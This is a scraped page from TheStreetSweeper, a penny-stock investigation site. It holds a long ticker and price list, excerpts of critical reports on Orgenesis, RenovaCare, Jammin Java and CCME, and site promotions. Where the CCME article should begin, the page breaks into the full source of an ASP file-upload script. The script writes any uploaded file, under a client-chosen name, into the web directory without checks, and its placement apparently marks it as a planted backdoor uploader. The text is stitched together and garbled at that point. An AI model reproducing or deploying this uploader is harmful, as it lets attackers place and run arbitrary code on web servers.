VUZI July 27 9.10 Check
OMEX July 18 3.18 Check
DGLY July 15 5.95 Check
RSYS June 28 4.63 Check
CPRT June 28 46.98 Check
STRP June 22 30.24 Check
SEDG June 23 20.68 Check
KEM June 21 2.94 Check
SGRY June 15 17.47 Check
MOC June 7 3.08 Check
RLYP June 9 19.98 Check
MITK June 2 9.09 Check
VUZI May 23 5.57 Check
MGT May 17 4.98 Check
CDE May 16 8.66 Check
TRUP May 10 15.17 Check
ADMP May 4 9.31 Check
GPL May 5 2.25 Check
SKY Apr 26 11.37 Check
BPTH Apr 26 2.83 Check
AAU Apr 19 1.35 Check
RELY Apr 13 9.93 Check
HIMX Apr 11 11.50 Check
OMEX Apr 7 8.87 Check
USCR Mar 30 63.67 Check
BRKO Mar 10 3.51 Check
KEYW Mar 3 7.00 Check
EYES Feb 23 6.93 Check
CPXX Feb 29 2.32 Check
TRXC Feb 26 3.62 Check
SLP Feb 22 10.20 Check
VHC Feb 10 7.50 Check
AMDA Feb 3 3.18 Check
ADAT Jan 28 5.0 Check
LPTH Jan 26 3.27 Check
AMSC Jan 20 6.17 Check
WNDW Jan 14 3.45 Check
NG Jan 7 4.33 Check
OLED Dec 12 53.67 Check
NCTY Dec 10 3.85 Check
PAYC Dec 2 44.02 Check
ZAGG Dec 1 10.45 Check
CALL Nov 25 10.23 Check
VLTC Nov 24 8.60 Check
TITN Nov 17 12.40 Check
BMI Nov 3 60.47 Check
HEAR Oct 26 3.45 Check
MNGA Oct 22 1.47 Check
MEET Oct 16 2.40 Check
WIFI Oct 8 8.10 Check
AVXLD Oct 6 5.80 Check
TRCH Sept 24 2.09 Check
CLIR Sept 16 6.79 Check
FENX Sept 10 9.49 Check
FTK Sept 2 20.27 Check
GTT Aug 27 22.40 Check
EFOI Aug 19 17.89 Check
VG Aug 11 6.40 Check
TRUP Aug 10 8.43 Check
TCX Aug 8 26.41 Check
LJPC Jul 13 32.87 Check
KRNT Jul 6 14.72 Check
UEC Jun 18 2.61 Check
EMAN Jun 11 2.90 Check
NWBO Jun 10 10.29 Check
DMRC Jun 3 30.00 Check
PTBI May 28 9.10 Check
ICLD May 29 3.15 Check
HOTR May 19 3.98 Check
CDTI May 15 2.25 Check
GEVO May 13 5.68 Check
QNST May 12 5.52 Check
CLNE May 5 10.10 Check
CHOP Apr 24 3.72 Check
INUV Apr 16 2.92 Check
UNXL Apr 10 7.31 Check
HRTX Apr 4 14.25 Check
MVIS Mar 23 4.02 Check
CRMD Mar 19 8.35 Check
RESN Mar 10 14.47 Check
ANTH Mar 9 6.16 Check
EYES Mar 2 17.66 Check
BLDP Feb 19 2.71 Check
ONDK Feb 11 17.51 Check
JMBA Feb 9 16.50 Check
MIFI Feb 9 5.47 Check
ZIOP Jan 16 8.23 Check
FRPT Dec 11 18.90 Check
RDCM Dec 3 10.36 Check
RCPT Nov 17 106.55 Check
URRE Nov 13 2.49 Check
PHMD Oct 29 4.16 Check
IBIO Oct 23 1.77 Check
VIMC Oct 23 9.64 Check
SZYM Oct 16 6.96 Check
AXDX Oct 14 27.38 Check
GLUU Oct 7 5.12 Check
MILL Sept 19 4.96 Check
DGLY Sept 16 20.65 Check
MNDL Aug 26 5.35 Check
FCEL Aug 20 2.76 Check
SYMX Aug 7 1.20 Check
ADES July 11 22.70 Check
TTGT June 19 8.19 Check
ANY.V May 28 9.42 Check
CYBX Apr 16 62.24 Check
OPTT Apr 4 4.19 Check
MDXG Mar 21 7.01 Check
AMRS Mar 7 4.85 Check
UNIS Feb 27 4.65 Check
PHMD Oct 17 15.49 Check
TXMD Feb 14 6.36 Check
SGMO Sept 19 11.21 Check
ZEN.V Sept 9 3.78 Check
XONE Aug 28 71.90 Check
TEAR Aug 1 14.40 Check
CNDO July 15 8.65 Check
RVLT July 2 4.03 Check
LOTE May 5 10.00 Check
LULU April 18 71.34 Check
PSSI Oct 3 23.00 Check
TNGO Aug 28 19.55 Check
MDVN May 31 $85.01 Check
JIVE May 3 $24.09 Check
SNPK April 3 $1.70 Check
QCOR Jan. 11 $41.54 Check
BRLI Nov. 1 $20.04 Check
PANL Oct. 3 $47.94 Check
GORO Aug. 23 $24.32 Check
MILL July 28 $7.04 Check
CIGX June 30 $4.51 Check
JAMN May 16 $5.17 Check
SWSH May 2 $8.77 Check
LEXG April 26 $4.02 Check
NOG March 21 $28.25 Check
VOG March 21 $5.02 Check
HNHI Feb. 17 $1.46 Check
IBIO Feb. 10 $5.17 Check
COUGF Feb. 1 $3.36 Check
LLEN Jan. 11 $10.27 Check
HHWW Dec. 23 $1.63 Check
CYDE Dec. 2 $3.29 Check
SMED Oct. 14 $5.87 Check
RMCP Sept. 21 $0.69 Check
INET Sept. 13 $10.66 Check
CLKZ Aug. 30 $0.53 Check
LQMT Aug. 19 $0.76 Check
LOCM Aug. 4 $6.12 Check
ESPH June 25 $1.49 Check
APOL June 15 $47.60 Check
BPI June 15 $19.63 Check
SILA May 27 $1.14 Check
FLPC May 27 $0.97 Check
AMEL May 27 $1.05 Check
STP May 17 $10.62 Check
BGBR April 26 $1.21 Check
NNLX April 16 $1.10 Check
CHTL April 9 $0.74 Check
AMLM March 25 $1.02 Check
LTUM March 25 $1.25 Check
TRGL March 11 $9.56 Check
TSHO Feb 24 $1.16 Check
CSKI Feb 19 $18.30 Check
GXDX Feb 15 $31.69 Check
JYHW Jan 19 $1.83 Check
AENY Jan 19 $4.51 Check
CLRH Dec 08 $1.35 Check
NXTH Dec 08 $2.28 Check
IMGG Nov 22 $1.39 Check
MEVT Nov 16 $0.35 Check
AWSL Nov 16 $3.29 Check
FRPT Oct 13 $5.84 Check
AEHI Oct. 4 $0.87 Check
URRE Nov 13 2.49 Check

The best new website for learning about penny-stock scams.

Orgenesis (ORGS): Five Top Investment-Killing Risks

by Sonya Colberg, Senior Editor, 3/16/2018 7:35:34 AM

TheStreetSweeper issues an alert for Orgenesis (ORGS) investors.

A few days after trading began on the Nasdaq and a few months after a reverse split, Orgenesis stock has gone crazy … not in a good way.

It’s not good because the business has not changed and simply can’t support the $150+ million stock market valuation.

Though it touts itself as a medical product company, the truth is that it is multi-millions of dollars, tremendous dilution to stockholders and many years away from getting its diabetes product to market… if it ever happens.

Instead, Orgenesis is actually in the fiercely competitive world of manufacturing drugs for other companies. The company has the arguable disadvantage of an overseas manufacturing plant. Plus Orgenesis lost $12.4 million from its manufacturing business last year alone.

The company’s viewpoint is here. Meanwhile, let’s consider five top risks presented by Orgenesis:

*1. Cash Hungry

On revenue of $3.4 million, Orgenesis net loss hit $865,000 last quarter.

That was considered a good quarter. So it’s easy to see that the company survives on a steady diet of stock selling and convertible debt. In the last couple of months, the company had to enact a private stock offering to raise $1.2 million so it could keep the lights on a couple more quarters.  

Even though it has done almost nothing to advance its technology, the company burns through about $1 million per quarter. Any attempt to advance would require some 50 times that figure.

It's hard to take the former "Business Outsourcing Services" seriously, as it began repositioning itself as a drug development company back in 2011. The company has had plenty of time to advance, yet its working capital is a negative ... $-10 million.

*2. Loans Coming Due

The company’s debt is piling up and clamoring for attention as notes convertible to stock come due.

The company warns that other than converting those notes to stock or somehow raising a lot of money, “we may not be able to pay them when due.”

“As of November 30, 2017, we owed approximately $8.7 million in principal amount and accrued interest under convertible loan agreements with third party lenders with varying maturity dates, the latest of which is August 22, 2019.” 

*3. Overseas Ownership, Operations

Most Orgenesis directors and executive officers live in Israel and Belgium.

“The majority of our assets are located outside the United States,” SEC filings state.

If the company has nothing to distinguish itself in the highly competitive outsource drug manufacturing business ... besides a foreign plant and other assets, that's not much.

Foreign ownership and assets can be risky because U.S. investors may well have trouble asserting any claims in other countries, and the U.S. courts and securities laws may be ineffective overseas.

*4. Potentially Dilutive Raise Looms

RenovaCare (RCAR): Investigation Or Other Issues Spark Skull-And-Crossbones Designation

by Sonya Colberg, Senior Editor, 2/26/2018 7:33:40 AM

TheStreetSweeper releases a RenovaCare investor alert.

The stock has been hit with OTC Markets' skull-and-crossbones designation.

OTC reserves the skull-and-crossbones for stocks with major concerns including: An investigation, spam email promotions, and disruptive corporate actions.

Other concerns include:

*RenovaCare’s OTC designation is the most ominous development to date.

*RenovaCare has applied Rule 144 to allow the technology inventor to sell all of his stock immediately.

* We’ve asked why the inventor is selling. Is he doubtful about the technology’s value? Doubtful of the company’s future or the absurd $685 million valuation? No response thus far.

*The majority stockholder, Harmel Rayat, is still on course to sell over 2 million shares. That registration remains unaltered, despite some investors’ misunderstanding that the stockholder has backed off.


RenovaCare (RCAR) has received a designation reserved for the worst of the worst stocks, the OTC Markets' skull-and-crossbones:


RenovaCare trades on the Over-The-Counter exchange, reserved for stocks that lack the right stuff to trade on the Nasdaq or New York Stock Exchange.

Now, the OTC has slapped RenovaCare with the caveat emptor warning.


(Source: OTC Markets, TheStreetSweeper)

OTC applies the skull-and-crossbones symbol when it becomes aware of:

Investigation of Fraud or Other Criminal Activities — There is an investigation or other indication of fraudulent or other criminal activity involving the company, its securities or insiders.

Other issues that may have entered into OTC’s decision to place RenovaCare in the bad category include:

*Stock promotions with inadequate information for the public -  

This may include “spam email, unsolicited … news releases, whether published by the company or a third party.”

*Other public interest concerns -

Concerns “may include but are not limited to promotion, spam or disruptive corporate actions.”

(See OTC’s caveat emptor policy overview here)

The company has not responded to our numerous emailed and phoned requests for comment, including several new requests.

Meanwhile, there is yet another cause for concern about the experimental spray-on skin company, RenovaCare…

*Technology Inventor Is Registered To Sell Stock

The technology developer, Jorg Gerlach, can now SELL EVERY SINGLE SHARE of his RenovaCare stock.

That’s right.

RenovaCare, which paid just $400,000 for the technology, recently disclosed that Dr. Gerlach is now free to sell everything …

“The Company has determined that all shares required to be registered on behalf of Jörg Gerlach, MD PhD. may now be sold without restriction under Rule 144…”

JAMN Finally Spills the Beans -- And It's an Ugly Mess

by Janice Shell, 6/2/2011 10:32:51 AM

* Editor's Note: Readers can access links to additional backup documents for this story by clicking here for TheStreetSweeper's original investigative report on this company.

Late Tuesday afternoon, after missing earlier deadlines, Jammin Java (OTC: JAMN.OB) filed a long-awaited annual report packed with enough eye-opening news to keep investors up all night. That mandatory filing, unaccompanied with a cheerful press release heralding its arrival, served as a painful wake-up call to shareholders already burned by a rapid plunge in the company’s stock price.

To be sure, the 10-K offered investors little reason to sing. For starters, the filing reveals, this once-hot “coffee company” sells no coffee of its own at all. JAMN relies on a supplier based in frigid Canada – far away from the tropical Jamaican home of its co-founder Rohan Marley – to provide the company with an actual product to sell to its customers instead.

Back in April of 2010, JAMN inked a “supply and toll agreement” with Canterbury Coffee of British Columbia that gave it access to some brew. According to that agreement, JAMN relies on Canterbury to fulfill every role – save a minor one – normally satisfied by a firm that classifies itself as a coffee company. Canterbury purchases the coffee beans. It roasts them. And it then packages them in bags supplied by JAMN – the company’s only real product – for sale to the public.

JAMN signed this deal more than a year ago, right before Shane Whittle – a notorious Vancouver stock promoter – officially resigned as CEO of the company. But the company never mentioned that agreement, seemingly material enough to warrant at least a quiet 8-K report, in a single regulatory filing until now.   

Jammin Java (JAMN): Hot Stock ... Bitter Aftertaste?

by Janice Shell, 6/2/2011 10:30:25 AM

It’s time to wake up and smell the coffee! That’s exactly what Jammin Java (OTC: JAMN.OB), a heavily promotedcoffee company, and – for very different reasons – TheStreetSweeper would like investors to do.

Since the beginning of the year, JAMN has miraculously risen from the ashes of the “Grey Market” graveyard to become one of the liveliest – and richest – stocks in the entire microcap arena. JAMN has seen its stock shoot straight toward heaven, soaring from 55 cents to peak above $6 a share on massive daily volume, with its market value nowtopping $355 million despite the company’s limited resources and operating history. (As covered in more detail below, two of the Internet tout sheets pushing JAMN the hardest effectively vanished -- disabled by their Internet servers -- on the day the stock’s trading volume exploded past 20 million shares.) 

JAMN stands out for its powerful connections, the first loudly celebrated by the company and the second – involving a notorious stock promoter – carefully hidden from view.


CCME: Few Signs of Life at 'Healthy' Chinese Firm

by Roddy Boyd, 3/23/2011 9:30:34 AM

File Upload <%response.buffer=True Func = Request("Func") If IsEmpty(Func) Then Func = 1 End If Select Case Func Case 1 'You do not need to use this form to sen ' d your files. 'However you should not give your submit ' button a NAME or ID. %>

Please Select a File To Upload.

Type In the full path And name of the file To upload.
Hit the [Browse] button To find the file On your computer.

Then hit the [Upload] button.

File Name...

NOTE: Please be patient, you will Not receive any notification until the file Is completely transferred.

<% Case 2 ForWriting = 2 adLongVarChar = 201 lngNumberUploaded = 0 'Get binary data from form noBytes = Request.TotalBytes binData = Request.BinaryRead (noBytes) 'convery the binary data to a string Set RST = CreateObject("ADODB.Recordset") LenBinary = LenB(binData) If LenBinary > 0 Then RST.Fields.Append "myBinary", adLongVarChar, LenBinary RST.Open RST.AddNew RST("myBinary").AppendChunk BinData RST.Update strDataWhole = RST("myBinary") End If 'Creates a raw data file for with all da ' ta sent. Uncomment for debuging. 'Set fso = CreateObject("Scripting.FileSystemObject") 'Set f = fso.OpenTextFile(server.mappath(".") & " aw.txt", ForWriting, True) 'f.Write strDataWhole 'set f = nothing 'set fso = nothing 'get the boundry indicator strBoundry = Request.ServerVariables ("HTTP_CONTENT_TYPE") lngBoundryPos = InStr(1,strBoundry,"boundary=") + 8 strBoundry = "--" & Right(strBoundry,Len(strBoundry)-lngBoundryPos) 'Get first file boundry positions. lngCurrentBegin = InStr(1,strDataWhole,strBoundry) lngCurrentEnd = InStr(lngCurrentBegin + 1,strDataWhole,strBoundry) - 1 Do While lngCurrentEnd > 0 'Get the data between current boundry an ' d remove it from the whole. strData = Mid(strDataWhole,lngCurrentBegin, lngCurrentEnd - lngCurrentBegin) strDataWhole = Replace(strDataWhole,strData,"") 'Get the full path of the current file. lngBeginFileName = InStr(1,strdata,"filename=") + 10 lngEndFileName = InStr(lngBeginFileName,strData,Chr(34)) 'Make sure they selected at least one fi ' le. If lngBeginFileName = lngEndFileName And lngNumberUploaded = 0 Then Response.Write "

The following Error occured.

" Response.Write "You must Select at least one file To upload" Response.Write "

Hit the back button, make the needed corrections and resubmit your information." Response.Write "

" Response.End End If 'There could be one or more empty file b ' oxes. If lngBeginFileName <> lngEndFileName Then strFilename = Mid(strData,lngBeginFileName,lngEndFileName - lngBeginFileName) 'Creates a raw data file with data betwe ' en current boundrys. Uncomment for debug ' ing. 'Set fso = CreateObject("Scripting.FileSystemObject") 'Set f = fso.OpenTextFile(server.mappath(".") & " aw_" & lngNumberUploaded & ".txt", ForWriting, True) 'f.Write strData 'set f = nothing 'set fso = nothing 'Loose the path information and keep jus ' t the file name. tmpLng = InStr(1,strFilename,"") Do While tmpLng > 0 PrevPos = tmpLng tmpLng = InStr(PrevPos + 1,strFilename,"") Loop FileName = Right(strFilename,Len(strFileName) - PrevPos) 'Get the begining position of the file d ' ata sent. 'if the file type is registered with the ' browser then there will be a Content-Typ ' e lngCT = InStr(1,strData,"Content-Type:") If lngCT > 0 Then lngBeginPos = InStr(lngCT,strData,Chr(13) & Chr(10)) + 4 Else lngBeginPos = lngEndFileName End If 'Get the ending position of the file dat ' a sent. lngEndPos = Len(strData) 'Calculate the file size. lngDataLenth = lngEndPos - lngBeginPos 'Get the file data strFileData = Mid(strData,lngBeginPos,lngDataLenth) 'Create the file. Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(Server.MapPath(".") & "" & FileName, ForWriting, True) f.Write strFileData Set f = Nothing Set fso = Nothing lngNumberUploaded = lngNumberUploaded + 1 End If 'Get then next boundry postitions if any ' . lngCurrentBegin = InStr(1,strDataWhole,strBoundry) lngCurrentEnd = InStr(lngCurrentBegin + 1,strDataWhole,strBoundry) - 1 Loop Response.Write "

File(s) Uploaded

" Response.Write lngNumberUploaded & " files have been uploaded.
" Response.Write "

" End Select %> more...

Signup For Alerts
When new stories are published


Sign up

Barron's reports that TheStreetSweeper unravels an odd case of mistaken identity surrounding Skyline (SKY):

Read the Article
Read the SKY Story

The Street Sweeper Is Not A Fan of Glu Mobile Inc.'s Kim Kardashian Game (GLUU):

Read the Article
Read the GLUU Story

Glu Mobile Falls as Kardashian Game Drops in Rankings (GLUU):

Read the Article
Read the GLUU Story

CNBC on TheStreetSweeper's coverage of Gold Resource Corporation: (GORO):
"Herb Greenberg comments on Gold Resource Corporation"

Watch the Video
Read the GORO Story

CNBC on TheStreetSweeper's coverage of Miller Energy Resources: (MILL):
"Melissa Davis at TheStreetSweeper … wrote a piece on this thing that obviously scared investors a little bit … It was an excellent reporting job (and) has moved the stock dramatically."

Watch the Video
Read the MILL Story

Herb Greenberg's View (NOG):
"There are questions about related parties … Sometimes companies just don't pass that 'sniff test.'"

Watch the Video
Read the NOG Story

Cramer's View (SWSH): "I wouldn't touch Swisher with a 10-foot PLUNGER!"
Watch the Video
Read the SWSH Story

Cramer's View (NOG): "I clearly have been jarred by the accounting issues and feel like, right now, the momentum has left this stock."
Watch the Video
Read the NOG Story

New Article Alert! Sign up to get notified of new articles.  Click Here. Subscribe
| More

Investors must be properly armed in order to protect themselves against the dangers of Wall Street. To help out, The Street Sweeper has mined the Internet for the most powerful weapons available to investors researching publicly traded companies. In our “Loaded Weapons” section, you’ll find direct links to corporate documents filed with the SEC, conference call transcripts published by Seeking Alpha, insider stock sales tracked by and popular investment tools offered by Yahoo! Finance. You can also identify the promoters behind current penny stock campaigns – and the compensation they are receiving – by connecting to You can link to other websites that are conducting topnotch stock investigations as well. Click here now.

When investors begin their homework on small-cap companies - particularly on penny stocks - they should probably start with an important history lesson. Specifically, they should conduct background checks on their stockbrokers and the companies those brokers are touting.
The Street Sweeper has designed a cheat sheet of sorts to help out with this research. Our “Rap Sheet” section links to a free tool (sponsored by FINRA) that allows ordinary investors to review the backgrounds of individual stockbrokers and their brokerage firms. The section also links to whistleblower cases and class-action lawsuits targeting publicly traded companies. It provides access to recent news of SEC enforcement actions and FBI white-collar crime investigations as well.
click here now.